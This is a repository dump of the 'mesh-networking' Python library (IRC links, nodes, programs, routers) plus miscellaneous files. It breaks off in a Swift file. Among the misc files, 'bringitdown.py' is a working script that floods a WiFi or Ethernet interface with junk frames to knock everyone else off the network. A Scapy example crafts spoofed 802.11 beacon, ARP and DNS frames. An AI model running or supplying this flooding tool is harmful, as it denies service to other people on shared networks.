msg: 191 | from_nick = msg.split(b"PRIVMSG ",1)[0].split(b"!")[0][1:] # who sent the PRIVMSG 192 | to_nick = msg.split(b"PRIVMSG ",1)[1].split(b" :",1)[0] # where did they send it 193 | text = msg.split(b"PRIVMSG ",1)[1].split(b" :",1)[1].strip() # what did it contain 194 | return (text, from_nick) 195 | elif msg.find(b"PING :",0,6) != -1: # was it just a ping? 196 | from_srv = msg.split(b"PING :")[1].strip() # the source of the PING 197 | return ("PING", from_srv) 198 | return ("","") 199 | 200 | def _connect(self): 201 | self.log("connecting to server %s:%s..." % (self.server, self.port)) 202 | self.net_socket = socket(AF_INET, SOCK_STREAM) 203 | self.net_socket.connect((self.server, self.port)) 204 | self.net_socket.setblocking(1) 205 | self.net_socket.settimeout(2) 206 | msg = self.net_socket.recv(4096) 207 | while msg: 208 | try: 209 | # keep reading 2 sec until servers stops sending text 210 | msg = self.net_socket.recv(4096).strip() 211 | except Exception: 212 | msg = None 213 | 214 | def _join_channel(self): 215 | self.log("joining channel %s as %s..." % (self.channel, self.nick)) 216 | nick = self.nick 217 | self.net_socket.settimeout(10) 218 | self.net_socket.send(('NICK %s\r\n' % nick).encode('utf-8')) 219 | self.net_socket.send(('USER %s %s %s :%s\r\n' % (nick, nick, nick, nick)).encode('utf-8')) 220 | self.net_socket.send(('JOIN %s\r\n' % self.channel).encode('utf-8')) 221 | msg = self.net_socket.recv(4096) 222 | while msg: 223 | if b"Nickname is already in use" in msg: 224 | self.nick += str(randint(1, 1000)) 225 | self._join_channel() 226 | return 227 | elif b"JOIN" in msg: 228 | # keep looping till we see JOIN, then we're succesfully in the room 229 | break 230 | try: 231 | msg = self.net_socket.recv(4096).strip() 232 | except: 233 | msg = None 234 | 235 | ### Runloop 236 | 237 | def run(self): 238 | """runloop that reads incoming packets off the interface into the inq buffer""" 239 | self.log("ready to receive.") 240 | # we use a runloop instead of synchronous recv so stopping the connection mid-recv is possible 241 | self.net_socket.settimeout(0.05) 242 | while self.keep_listening: 243 | try: 244 | packet = self.net_socket.recv(4096) 245 | except: 246 | packet = None 247 | if packet: 248 | packet, source = self._parse_msg(packet) 249 | if packet == "PING": 250 | self.net_socket.send(b'PONG ' + source + b'\r') 251 | elif packet: 252 | for mac_addr, recv_queue in self.inq.items(): 253 | # put the packet in that mac_addr recv queue 254 | recv_queue.put(packet) 255 | self.log('is down.') 256 | 257 | ### IO 258 | 259 | def send(self, packet, retry=True): 260 | """send a packet down the line to the inteface""" 261 | if not self.keep_listening: 262 | self.log('is down.') 263 | return 264 | 265 | try: 266 | # (because the IRC server sees this link as 1 connection no matter how many nodes use it, it wont send enough copies of the packet back) 267 | # for each node listening to this link object locally 268 | for mac_addr, recv_queue in self.inq.items(): 269 | recv_queue.put(packet) # put the packet directly in their in queue 270 | # then send it down the wire to the IRC channel 271 | self.net_socket.send(('PRIVMSG %s :%s\r\n' % (self.channel, packet.decode())).encode('utf-8')) 272 | except Exception as e: 273 | self.log("Link failed to send packet over socket %s" % e) 274 | sleep(0.2) 275 | if retry: 276 | self.send(packet, retry=False) 277 | 278 | class RawSocketLink(threading.Thread, VirtualLink): 279 | """This link uses tun/tap interfaces to send and receive packets directly at the ethernet level""" 280 | 281 | def __init__(self): 282 | raise NotImplementedError() 283 | 284 | 285 | class MultiPeerConnectivityLink(threading.Thread, VirtualLink): 286 | """This link sends traffic over Bluetooth to Apple devices using the MultiPeerConnectivity framework introduced in iOS 7. 287 | """ 288 | 289 | def __init__(self): 290 | raise NotImplementedError() 291 | -------------------------------------------------------------------------------- /mesh/node.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # MIT License: Nick Sweeting 3 | 4 | import random 5 | import threading 6 | import time 7 | from collections import defaultdict 8 | 9 | try: 10 | from queue import Queue 11 | except ImportError: 12 | from Queue import Queue 13 | 14 | from .filters import LoopbackFilter 15 | 16 | # Physical Layer (copper, fiber, audio, wireless) 17 | # Link Layer (ethernet, ARP, PPP): links.py 18 | # Network Layer (IPv4, IPv6, ICMP, MeshP): scapy 19 | # Transport Layer (TCP, UDP, SCTP): scapy 20 | 21 | 22 | # Nodes connect to each other over links. The node has a runloop that pulls packets off the link's incoming packet Queue, 23 | # runs them through its list of filters, then places it in the nodes incoming packet queue for that interface node.inq. 24 | # the Node's Program is has a seperate runloop in a different thread that is constantly calling node.inq.get(). 25 | # The program does something with the packet (like print it to the screen, or reply with "ACK"), and sends any outgoing responses 26 | # by calling the Node's send() method directly. The Node runs the packet through it's outgoing packet filters in order, then 27 | # if it wasn't dropped, calls the network interface's .send() method to push it over the network. 28 | 29 | # --> incoming packet queue | -> pulls packets off link's inq -> filters -> node.inq | -> pulls packets off the node's inq 30 | # [LINK] | [NODE] | [PROGRAM] 31 | # <-- outgoing Link.send() | <---- outgoing filters <----- Node.send() <----- | <- sends responses by calling Node.send() 32 | 33 | class Node(threading.Thread): 34 | """a Node represents a computer. node.interfaces contains the list of network links the node is connected to. 35 | Nodes process incoming traffic through their filters, then place packets in their inq for their Program to handle. 36 | Programs process packets off the node's incoming queue, then send responses out through node's outbound filters, 37 | and finally out to the right network interface. 38 | """ 39 | def __init__(self, interfaces=None, name="n1", promiscuous=False, mac_addr=None, Filters=(), Program=None): 40 | threading.Thread.__init__(self) 41 | self.name = name 42 | self.interfaces = interfaces or [] 43 | self.keep_listening = True 44 | self.promiscuous = promiscuous 45 | self.mac_addr = mac_addr or self._generate_MAC(6, 2) 46 | self.inq = defaultdict(Queue) # TODO: convert to bounded ring-buffer 47 | self.filters = [LoopbackFilter()] + [F() for F in Filters] # initialize the filters that shape incoming and outgoing traffic before it hits the program 48 | self.program = Program(node=self) if Program else None # init the program that will be processing incoming packets 49 | 50 | def __repr__(self): 51 | return "[{0}]".format(self.name) 52 | 53 | def __str__(self): 54 | return self.__repr__() 55 | 56 | @staticmethod 57 | def _generate_MAC(segments=6, segment_length=2, delimiter=":", charset="0123456789abcdef"): 58 | """generate a non-guaranteed-unique mac address""" 59 | addr = [] 60 | for _ in range(segments): 61 | sub = ''.join(random.choice(charset) for _ in range(segment_length)) 62 | addr.append(sub) 63 | return delimiter.join(addr) 64 | 65 | def log(self, *args): 66 | """stdout and stderr for the node""" 67 | print("%s %s" % (str(self).ljust(8), " ".join(str(x) for x in args))) 68 | 69 | def stop(self): 70 | self.keep_listening = False 71 | if self.program: 72 | self.program.stop() 73 | self.join() 74 | return True 75 | 76 | ### Runloop 77 | 78 | def run(self): 79 | """runloop that gets triggered by node.start() 80 | reads new packets off the link and feeds them to recv() 81 | """ 82 | if self.program: 83 | self.program.start() 84 | while self.keep_listening: 85 | for interface in self.interfaces: 86 | packet = interface.recv(self.mac_addr if not self.promiscuous else "00:00:00:00:00:00") 87 | if packet: 88 | self.recv(packet, interface) 89 | time.sleep(0.01) 90 | self.log("Stopped listening.") 91 | 92 | ### IO 93 | 94 | def recv(self, packet, interface): 95 | """run incoming packet through the filters, then place it in its inq""" 96 | # the packet is piped into the first filter, then the result of that into the second filter, etc. 97 | for f in self.filters: 98 | if not packet: 99 | break 100 | packet = f.tr(packet, interface) 101 | if packet: 102 | # if the packet wasn't dropped by a filter, log the recv and place it in the interface's inq 103 | # self.log("IN ", str(interface).ljust(30), packet.decode()) 104 | self.inq[interface].put(packet) 105 | 106 | def send(self, packet, interfaces=None): 107 | """write packet to given interfaces, default is broadcast to all interfaces""" 108 | interfaces = interfaces or self.interfaces # default to all interfaces 109 | interfaces = interfaces if hasattr(interfaces, '__iter__') else [interfaces] 110 | 111 | for interface in interfaces: 112 | for f in self.filters: 113 | packet = f.tx(packet, interface) # run outgoing packet through the filters 114 | if packet: 115 | # if not dropped, log the transmit and pass it to the interface's send method 116 | # self.log("OUT ", ("<"+",".join(i.name for i in interfaces)+">").ljust(30), packet.decode()) 117 | interface.send(packet) 118 | -------------------------------------------------------------------------------- /mesh/programs.py: -------------------------------------------------------------------------------- 1 | import re 2 | import os 3 | import threading 4 | from time import sleep 5 | 6 | try: 7 | from queue import Empty 8 | except ImportError: 9 | from Queue import Empty 10 | 11 | from .routers import MessageRouter 12 | 13 | 14 | class BaseProgram(threading.Thread): 15 | """Represents a program running on a Node that interprets and responds to incoming packets.""" 16 | def __init__(self, node): 17 | threading.Thread.__init__(self) 18 | self.keep_listening = True 19 | self.node = node 20 | 21 | def run(self): 22 | """runloop that reads packets off the node's incoming packet buffer (node.inq)""" 23 | while self.keep_listening: 24 | for interface in self.node.interfaces: 25 | try: 26 | self.recv(self.node.inq[interface].get(timeout=0), interface) 27 | except Empty: 28 | sleep(0.01) 29 | 30 | def stop(self): 31 | self.keep_listening = False 32 | self.join() 33 | 34 | def recv(self, packet, interface): 35 | """overload this and put logic here to actually do something with the packet""" 36 | pass 37 | 38 | class Printer(BaseProgram): 39 | """A simple program to just print incoming packets to the console.""" 40 | def recv(self, packet, interface): 41 | sleep(0.2) # nicety so that printers print after all the debug statements 42 | self.node.log(("\nPRINTER %s" % interface).ljust(39), packet.decode()) 43 | 44 | class Switch(BaseProgram): 45 | """A switch that routes a packet coming in on any interface to all the other interfaces.""" 46 | def recv(self, packet, interface): 47 | other_ifaces = set(self.node.interfaces) - {interface} 48 | if packet and other_ifaces: 49 | self.node.log("SWITCH ", (str(interface)+" >>>> <"+','.join(i.name for i in other_ifaces)+">").ljust(30), packet.decode()) 50 | self.node.send(packet, interfaces=other_ifaces) 51 | 52 | class Cache(BaseProgram): 53 | """A simple program to which stores incoming packets in a buffer indefinitely.""" 54 | def __init__(self, node): 55 | self.received = [] 56 | BaseProgram.__init__(self, node) 57 | 58 | def recv(self, packet, interface): 59 | self.received.append(packet) 60 | 61 | 62 | def R(pattern): 63 | return re.compile(pattern) 64 | 65 | 66 | class RoutedProgram(BaseProgram): 67 | """Base program which easily routes messages to handler functions. 68 | 69 | usage: 70 | class MyProgram(RoutedProgram): 71 | router = RoutedProgram.router 72 | 73 | @router.route(R('^HELLO$')) 74 | def handle_hello(self, packet, interface): 75 | self.send('How are you?', interface) 76 | """ 77 | router = MessageRouter() 78 | 79 | def __init__(self, node): 80 | super(RoutedProgram, self).__init__(node) 81 | self.router.node = node 82 | 83 | def recv(self, packet, interface): 84 | message = packet.decode() 85 | self.node.log('\n< [RECV] %s' % message) 86 | self.router.recv(self, message, interface) 87 | 88 | def send(self, message, interface): 89 | if not (hasattr(message, '__iter__') and not hasattr(message, '__len__')): 90 | # if message is not a list or generator 91 | message = [message] 92 | 93 | for line in message: 94 | line = line if type(line) in (str, bytes) else '{0}'.format(line) 95 | if not line.strip(): 96 | continue 97 | 98 | self.node.log('\n> [SENT] %s' % line) 99 | packet = bytes(line, 'utf-8') if type(line) is str else line 100 | self.node.send(packet, interface) 101 | 102 | 103 | class RedisProgram(BaseProgram): 104 | """ 105 | A program which places all incoming an outgoing packets into a redis queue. 106 | The keys used for the queue can be passed in, these are the defaults: 107 | db: redis://127.0.0.1/0 108 | in queue: node-{pid}-recv 109 | out queue: node-{pid}-send 110 | """ 111 | def __init__(self, node, recv_key=None, send_key=None, redis_conf=None): 112 | super(RedisProgram, self).__init__(node) 113 | import redis 114 | pid = os.getpid() 115 | self.recv_key = recv_key or 'node-{}-recv'.format(pid) 116 | self.send_key = send_key or 'node-{}-send'.format(pid) 117 | self.nodeq = redis.Redis(**(redis_conf or { 118 | 'host': '127.0.0.1', 119 | 'port': 6379, 120 | 'db': 0, 121 | })) 122 | 123 | def run(self): 124 | print('[√] Redis program is buffering IO to db:{0} keys:{1} & {2}.'.format( 125 | 0, self.recv_key, self.send_key)) 126 | 127 | while self.keep_listening: 128 | for interface in self.node.interfaces: 129 | if self.get_recvs(interface): 130 | continue 131 | if self.put_sends(): 132 | continue 133 | 134 | sleep(0.01) 135 | 136 | def recv(self, packet, interface): 137 | print('[IN]: {}'.format(packet)) 138 | self.nodeq.rpush(self.recv_key, packet) 139 | 140 | def send(self, packet, interface=None): 141 | print('[OUT]: {}'.format(packet)) 142 | self.node.send(packet, interface) 143 | 144 | def get_recvs(self, interface): 145 | try: 146 | msg = self.node.inq[interface].get(timeout=0) 147 | self.recv(msg, interface) 148 | return True 149 | except Empty: 150 | return False 151 | 152 | def put_sends(self): 153 | out = self.nodeq.rpop(self.send_key) 154 | if out: 155 | self.send(out) 156 | return True 157 | return False 158 | -------------------------------------------------------------------------------- /mesh/routers.py: -------------------------------------------------------------------------------- 1 | def chunk(iterable, chunk_size=20): 2 | """chunk an iterable [1,2,3,4,5,6,7,8] -> ([1,2,3], [4,5,6], [7,8])""" 3 | items = [] 4 | for value in iterable: 5 | items.append(value) 6 | if len(items) == chunk_size: 7 | yield items 8 | items = [] 9 | if items: 10 | yield items 11 | 12 | 13 | class MessageRouter(object): 14 | node = None 15 | routes = [] 16 | 17 | def route(self, pattern): 18 | def wrapper(handler): 19 | self.routes.append((pattern, handler)) 20 | return handler 21 | return wrapper 22 | 23 | def recv(self, program, message, interface=None): 24 | 25 | def default_route(program, message=None, interface=None): 26 | # print('Unrecognized Message msg: {0}'.format(message)) 27 | pass 28 | 29 | # run through route patterns looking for a match to handle the msg 30 | for pattern, handler in self.routes: 31 | # if pattern is a compiled regex, try matching it 32 | if hasattr(pattern, 'match') and pattern.match(message): 33 | break 34 | # if pattern is just a str, check for exact match 35 | if message == pattern: 36 | break 37 | else: 38 | # if no route matches, fall back to default handler 39 | handler = default_route 40 | 41 | handler(program, message, interface) 42 | -------------------------------------------------------------------------------- /mesh_networking.egg-info/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.1 2 | Name: mesh-networking 3 | Version: 0.0.7 4 | Summary: A library for creating flexible network topologies 5 | Home-page: https://github.com/pirate/mesh-networking 6 | Author: Nick Sweeting 7 | Author-email: mesh-networking@sweeting.me 8 | License: MIT 9 | Description: This library helps you test large networks of nodes across physical and simulated links. 10 | Keywords: networking routing mesh osi scapy udp tcp iptables irc 11 | Platform: UNKNOWN 12 | Classifier: Topic :: Utilities 13 | Classifier: Topic :: System :: Networking 14 | Classifier: Development Status :: 3 - Alpha 15 | Classifier: Intended Audience :: Developers 16 | Classifier: License :: OSI Approved :: MIT License 17 | Classifier: Programming Language :: Python :: 2 18 | Classifier: Programming Language :: Python :: 2.6 19 | Classifier: Programming Language :: Python :: 2.7 20 | Classifier: Programming Language :: Python :: 3 21 | Classifier: Programming Language :: Python :: 3.2 22 | Classifier: Programming Language :: Python :: 3.3 23 | Classifier: Programming Language :: Python :: 3.4 24 | Classifier: Programming Language :: Python :: 3.5 25 | Classifier: Programming Language :: Python :: 3.6 26 | -------------------------------------------------------------------------------- /mesh_networking.egg-info/SOURCES.txt: -------------------------------------------------------------------------------- 1 | setup.py 2 | mesh/__init__.py 3 | mesh/filters.py 4 | mesh/links.py 5 | mesh/node.py 6 | mesh/programs.py 7 | mesh/routers.py 8 | mesh_networking.egg-info/PKG-INFO 9 | mesh_networking.egg-info/SOURCES.txt 10 | mesh_networking.egg-info/dependency_links.txt 11 | mesh_networking.egg-info/top_level.txt -------------------------------------------------------------------------------- /mesh_networking.egg-info/dependency_links.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /mesh_networking.egg-info/top_level.txt: -------------------------------------------------------------------------------- 1 | mesh 2 | -------------------------------------------------------------------------------- /misc/802.1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | 802.11 Scapy Packet Example 5 | Author: Joff Thyer, 2014 6 | """ 7 | 8 | # if we set logging to ERROR level, it supresses the warning message 9 | # from Scapy about ipv6 routing 10 | # WARNING: No route found for IPv6 destination :: (no default route?) 11 | import logging 12 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 13 | from scapy.all import * # noqa 14 | 15 | 16 | class Scapy80211(): 17 | 18 | def __init__(self, intf='wlan0', ssid='test',\ 19 | source='00:00:de:ad:be:ef',\ 20 | bssid='00:11:22:33:44:55', srcip='10.10.10.10'): 21 | 22 | self.rates = "\x03\x12\x96\x18\x24\x30\x48\x60" 23 | 24 | self.ssid = ssid 25 | self.source = source 26 | self.srcip = srcip 27 | self.bssid = bssid 28 | self.intf = intf 29 | self.intfmon = intf + 'mon' 30 | 31 | # set Scapy conf.iface 32 | conf.iface = self.intfmon 33 | 34 | # create monitor interface using iw 35 | cmd = '/sbin/iw dev %s interface add %s type monitor >/dev/null 2>&1' \ 36 | % (self.intf, self.intfmon) 37 | try: 38 | os.system(cmd) 39 | except: 40 | raise 41 | 42 | 43 | def Beacon(self,count=10,ssid='',dst='ff:ff:ff:ff:ff:ff'): 44 | if not ssid: ssid=self.ssid 45 | beacon = Dot11Beacon(cap=0x2104) 46 | essid = Dot11Elt(ID='SSID',info=ssid) 47 | rates = Dot11Elt(ID='Rates',info=self.rates) 48 | dsset = Dot11Elt(ID='DSset',info='\x01') 49 | tim = Dot11Elt(ID='TIM',info='\x00\x01\x00\x00') 50 | pkt = RadioTap()\ 51 | /Dot11(type=0,subtype=8,addr1=dst,addr2=self.source,addr3=self.bssid)\ 52 | /beacon/essid/rates/dsset/tim 53 | 54 | print '[*] 802.11 Beacon: SSID=[%s], count=%d' % (ssid,count) 55 | try: 56 | sendp(pkt,iface=self.intfmon,count=count,inter=0.1,verbose=0) 57 | except: 58 | raise 59 | 60 | 61 | def ProbeReq(self,count=10,ssid='',dst='ff:ff:ff:ff:ff:ff'): 62 | if not ssid: ssid=self.ssid 63 | param = Dot11ProbeReq() 64 | essid = Dot11Elt(ID='SSID',info=ssid) 65 | rates = Dot11Elt(ID='Rates',info=self.rates) 66 | dsset = Dot11Elt(ID='DSset',info='\x01') 67 | pkt = RadioTap()\ 68 | /Dot11(type=0,subtype=4,addr1=dst,addr2=self.source,addr3=self.bssid)\ 69 | /param/essid/rates/dsset 70 | 71 | print '[*] 802.11 Probe Request: SSID=[%s], count=%d' % (ssid,count) 72 | try: 73 | sendp(pkt,count=count,inter=0.1,verbose=0) 74 | except: 75 | raise 76 | 77 | 78 | 79 | def ARP(self,targetip,count=1,toDS=False): 80 | if not targetip: return 81 | 82 | arp = LLC()/SNAP()/ARP(op='who-has',psrc=self.srcip,pdst=targetip,hwsrc=self.source) 83 | if toDS: 84 | pkt = RadioTap()\ 85 | /Dot11(type=2,subtype=32,FCfield='to-DS',\ 86 | addr1=self.bssid,addr2=self.source,addr3='ff:ff:ff:ff:ff:ff')\ 87 | /arp 88 | else: 89 | pkt = RadioTap()\ 90 | /Dot11(type=2,subtype=32,\ 91 | addr1='ff:ff:ff:ff:ff:ff',addr2=self.source,addr3=self.bssid)\ 92 | /arp 93 | 94 | print '[*] ARP Req: who-has %s' % (targetip) 95 | try: 96 | sendp(pkt,inter=0.1,verbose=0,count=count) 97 | except: 98 | raise 99 | 100 | ans = sniff(lfilter = lambda x: x.haslayer(ARP) and x.op == 2, 101 | store=1,count=1,timeout=1) 102 | 103 | if len(ans) > 0: 104 | return ans[0][ARP].hwsrc 105 | else: 106 | return None 107 | 108 | 109 | def DNSQuery(self,query='www.google.com',qtype='A',ns=None,count=1,toDS=False): 110 | if ns == None: return 111 | dstmac = self.ARP(ns) 112 | 113 | dns = LLC()/SNAP()/IP(src=self.srcip,dst=ns)/\ 114 | UDP(sport=random.randint(49152,65535),dport=53)/\ 115 | DNS(qd=DNSQR(qname=query,qtype=qtype)) 116 | 117 | if toDS: 118 | pkt = RadioTap()\ 119 | /Dot11(type=2,subtype=32,FCfield='to-DS',\ 120 | addr1=self.bssid,addr2=self.source,addr3=dstmac)/dns 121 | else: 122 | pkt = RadioTap()\ 123 | /Dot11(type=2,subtype=32,\ 124 | addr1=dstmac,addr2=self.source,addr3=self.bssid)/dns 125 | 126 | print '[*] DNS query %s (%s) -> %s?' % (query,qtype,ns) 127 | try: 128 | sendp(pkt,count=count,verbose=0) 129 | except: 130 | raise 131 | 132 | # main routine 133 | if __name__ == "__main__": 134 | print """ 135 | [*] 802.11 Scapy Packet Crafting Example 136 | [*] Assumes 'wlan0' is your wireless NIC! 137 | [*] Author: Joff Thyer, 2014 138 | """ 139 | sdot11 = Scapy80211(intf='en0') 140 | sdot11.Beacon() 141 | sdot11.ProbeReq() 142 | sdot11.DNSQuery(ns='8.8.8.8') 143 | -------------------------------------------------------------------------------- /misc/bringitdown.py: -------------------------------------------------------------------------------- 1 | # DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets 2 | 3 | # brew install libdnet; pip install dnet 4 | # sudo python bringitdown.py 5 | 6 | import dnet 7 | 8 | def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'): 9 | datalink = dnet.eth(iface) 10 | h = datalink.get().encode('hex_codec') 11 | mac = ':'.join([h[i:i+2] for i in range(0, len(h), 2)]) 12 | print 'Interface: %s\nMAC Address: %s\nPayload: %s' % (iface, mac, spam_packet) 13 | while True: 14 | datalink.send(spam_packet) 15 | 16 | # BEWARE, RUNNING THIS WILL BRING YOUR ENTIRE LOCAL NETWORK TO A HALT, DO NOT RUN IT IF YOU'RE ON A SHARED CONNECTION 17 | # what this does is write 'HOST:all|GET:spam' directly to your network interface as fast as it can, drowning out outer people's legitimate traffic 18 | # I'm not sure if it's the interference at the physical layer, or if it's the access point that gets hammered, either way, Wifi will slow to a halt for everyone connected to the same AP. 19 | if __name__ == "__main__": 20 | bring_it_down("en0", '\x01' * 8) 21 | 22 | # if you have trouble getting python + libdnet to work, you can install it from source: 23 | # wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz 24 | # tar xfz libdnet-1.12.tgz 25 | # ./configure 26 | # make 27 | # sudo make install 28 | # cd python 29 | # python setup.py install 30 | -------------------------------------------------------------------------------- /misc/mesh-visualisation/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | -------------------------------------------------------------------------------- /misc/mesh-visualisation/README.md: -------------------------------------------------------------------------------- 1 | 2 | npm install 3 | coffee server.coffe 4 | 5 | **Click to add nodes!** Nodes near the cursor will be linked to the new node. 6 | 7 | messages the frontend will respond to 8 | 9 | 'addnode', "{id: string}" 10 | 11 | 'addlink', "{source: id, target: id}"" 12 | -------------------------------------------------------------------------------- /misc/mesh-visualisation/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mesh-visualisation", 3 | "version": "0.0.1", 4 | "description": "visualisation for mesh networks", 5 | "author": "Jonathan Dahan ", 6 | "dependencies": { 7 | "coffee-script-redux": "^2.0.0-beta8", 8 | "restify": "^4.1.0", 9 | "socket.io": "^1.0.6" 10 | }, 11 | "repository": { 12 | "type": "git", 13 | "url": "https://github.com/jedahan/mesh-visualisation.git" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /misc/mesh-visualisation/public/css/style.css: -------------------------------------------------------------------------------- 1 | rect { 2 | fill: none; 3 | pointer-events: all; 4 | } 5 | 6 | .node { 7 | fill: #eee; 8 | } 9 | 10 | .activenode { 11 | 12 | fill: #0ff; 13 | } 14 | 15 | .cursor { 16 | fill: none; 17 | stroke: brown; 18 | pointer-events: none; 19 | } 20 | 21 | .link { 22 | stroke: #666; 23 | stroke-width: 1.5px; 24 | } 25 | 26 | body { 27 | background: #000; 28 | } 29 | 30 | body.connected { 31 | background: #443344; 32 | } -------------------------------------------------------------------------------- /misc/mesh-visualisation/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | Mesh 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /misc/mesh-visualisation/public/js/script.js: -------------------------------------------------------------------------------- 1 | (function(){ 2 | 3 | var socket; 4 | 5 | socket = io.connect(); 6 | 7 | var newnodeButton = $('button#newnode') 8 | var linkButton = $('button#link') 9 | var messageButton = $('button#message') 10 | 11 | var status = [0, 0, 0] 12 | 13 | var restoreState = function() { 14 | 15 | status = [0, 0, 0] 16 | linkButton.text("Link") 17 | messageButton.removeAttr("disabled") 18 | } 19 | 20 | var sendEvent = function() { 21 | 22 | if (status[0] == "link") { 23 | 24 | console.log(status) 25 | socket.emit("addlink", JSON.stringify({source: status[1], target:status[2]})) 26 | status = ["link", status[2], 0] 27 | 28 | } else if (status[0] == "message") { 29 | socket.emit("message", JSON.stringify({from:status[1], to:status[2]})) 30 | restoreState() 31 | } else { 32 | restoreState() 33 | } 34 | } 35 | newnodeButton.click(function (){ 36 | 37 | restoreState() 38 | socket.emit("addnode", "yo") 39 | }) 40 | 41 | linkButton.click(function (){ 42 | 43 | if (status[0] == "link") restoreState() 44 | else { 45 | 46 | status[0] = "link" 47 | linkButton.text("Stop linking") 48 | } 49 | }) 50 | 51 | messageButton.click(function (){ 52 | 53 | restoreState() 54 | status[0] = "message" 55 | messageButton.attr("disabled", "disabled") 56 | }) 57 | 58 | socket.on('connect', function() { 59 | $('body').addClass('connected') 60 | }) 61 | 62 | socket.on('disconnect', function() { 63 | $('body').removeClass('connected') 64 | }) 65 | 66 | socket.on('addnode', function(json){ 67 | var message = JSON.parse(json) 68 | addnode(message.id, message.address) 69 | }) 70 | 71 | socket.on('addlink', function(json){ 72 | var message = JSON.parse(json) 73 | addlink(message.source, message.target) 74 | }) 75 | 76 | socket.on('message', function(json){ 77 | 78 | var message = JSON.parse(json) 79 | console.log(message) 80 | pulseNode(message.from, 'green') 81 | pulseNode(message.to, 'orange') 82 | }) 83 | 84 | var width = 960, 85 | height = 500; 86 | 87 | var fill = d3.scale.category20(); 88 | 89 | var force = d3.layout.force() 90 | .size([width, height]) 91 | .nodes([]) // initialize with no nodes 92 | .linkDistance(30) 93 | .charge(-60) 94 | .on("tick", tick); 95 | 96 | var svg = d3.select("body").append("svg") 97 | .attr("viewBox", "0 0 " + width + " " + height) 98 | .attr("preserveAspectRatio", "xMidYMid meet") 99 | .on("mousemove", mousemove) 100 | 101 | svg.append("rect") 102 | .attr("width", width) 103 | .attr("height", height); 104 | 105 | var nodes = force.nodes(), 106 | links = force.links(), 107 | node = svg.selectAll(".node"), 108 | link = svg.selectAll(".link"); 109 | 110 | var cursor = svg.append("circle") 111 | .attr("r", 30) 112 | .attr("transform", "translate(-100,-100)") 113 | .attr("class", "cursor") 114 | 115 | restart(); 116 | 117 | function addnode(id, addr){ 118 | for(var i=0; i "+target_id+" already exists, not adding"); 154 | return; 155 | } 156 | console.log("adding link "+source_id+" => "+target_id); 157 | links.push({source: source, target: target}); 158 | restart(); 159 | } 160 | 161 | function mousemove() { 162 | cursor.attr("transform", "translate(" + d3.mouse(this) + ")"); 163 | } 164 | 165 | function nodeClick(e) { 166 | 167 | if (status[0] != 0) { 168 | 169 | if (status[1] == 0) { 170 | status[1] = e.id 171 | 172 | } else if (status[2] == 0) { 173 | 174 | status[2] = e.id 175 | sendEvent() 176 | } 177 | } 178 | 179 | console.log("Id: "+e.id+" Address: "+e.address) 180 | } 181 | 182 | function pulseNode(id, color) { 183 | var d3box = d3.select('[data-id="' + id + '"]'); 184 | d3box.transition(500) 185 | .style('fill', color) 186 | .transition().duration(10000) 187 | .style('fill', '#eee'); 188 | } 189 | 190 | function select(d) { 191 | if (d3SelectedElement) { 192 | d3SelectedElement.classed({'selected': false}); 193 | } 194 | var d3box = d3.select('[data-id="' + d._id + '"]'); 195 | d3box.classed({'selected': true}); 196 | d3SelectedElement = d3box; 197 | } 198 | 199 | function tick() { 200 | link.attr("x1", function(d) { return d.source.x; }) 201 | .attr("y1", function(d) { return d.source.y; }) 202 | .attr("x2", function(d) { return d.target.x; }) 203 | .attr("y2", function(d) { return d.target.y; }); 204 | 205 | node.attr("cx", function(d) { return d.x; }) 206 | .attr("cy", function(d) { return d.y; }); 207 | } 208 | 209 | function restart() { 210 | link = link.data(links); 211 | 212 | link.enter().insert("line", ".node") 213 | .attr("class", "link"); 214 | 215 | node = node.data(nodes); 216 | 217 | node.enter().insert("circle", ".cursor") 218 | .attr("class", "node") 219 | .attr("r", 10) 220 | .attr("data-id", keyFn) 221 | .on("mousedown", nodeClick) 222 | .call(force.drag); 223 | 224 | force.start(); 225 | } 226 | 227 | var keyFn = function(d){ return d.id; }; 228 | 229 | })() 230 | -------------------------------------------------------------------------------- /misc/mesh-visualisation/server.coffee: -------------------------------------------------------------------------------- 1 | # server 2 | restify = require 'restify' 3 | server = restify.createServer() 4 | 5 | # for random ids 6 | crypto = require 'crypto' 7 | 8 | # socket.io 9 | socketio = require 'socket.io' 10 | io = socketio.listen server 11 | 12 | printData = (data) -> 13 | console.log "socket message: " 14 | console.dir data 15 | 16 | # handle messages from cliens 17 | io.sockets.on 'connection', (socket) -> 18 | socket.on 'addnode', printData 19 | socket.on 'addlink', printData 20 | 21 | setInterval addRandomNode, 5000 22 | addRandomNode = -> 23 | randomId = crypto.randomBytes(Math.ceil(16/2)).toString('hex').slice(0,16) 24 | io.emit 'addnode', JSON.stringify({id: randomId}) 25 | 26 | # cors proxy and body parser 27 | server.use restify.bodyParser() 28 | server.use restify.fullResponse() # set CORS, eTag, other common headers 29 | 30 | server.get /\/*$/, restify.serveStatic directory: './public', default: 'index.html' 31 | 32 | server.listen (process.env.PORT or 8080), -> 33 | console.info "[%s] #{server.name} listening at #{server.url}", process.pid 34 | -------------------------------------------------------------------------------- /misc/mesh.swift: -------------------------------------------------------------------------------- 1 | import Foundation 2 | import MultipeerConnectivity 3 | 4 | /* 5 | swift mesh.swift bob 6 | */ 7 | 8 | // every instance needs a unique ID so that two can be run on the same machine 9 | let instance_id: String 10 | 11 | if CommandLine.arguments.count == 2 { 12 | instance_id = CommandLine.arguments[1] 13 | } 14 | else { 15 | srandom(UInt32(time(nil))) 16 | instance_id = String(arc4random() % 1000); 17 | } 18 | 19 | 20 | 21 | class MESHPManagerDelegate { 22 | let known_devices: Set 23 | 24 | init() { 25 | self.known_devices = [] 26 | } 27 | 28 | func 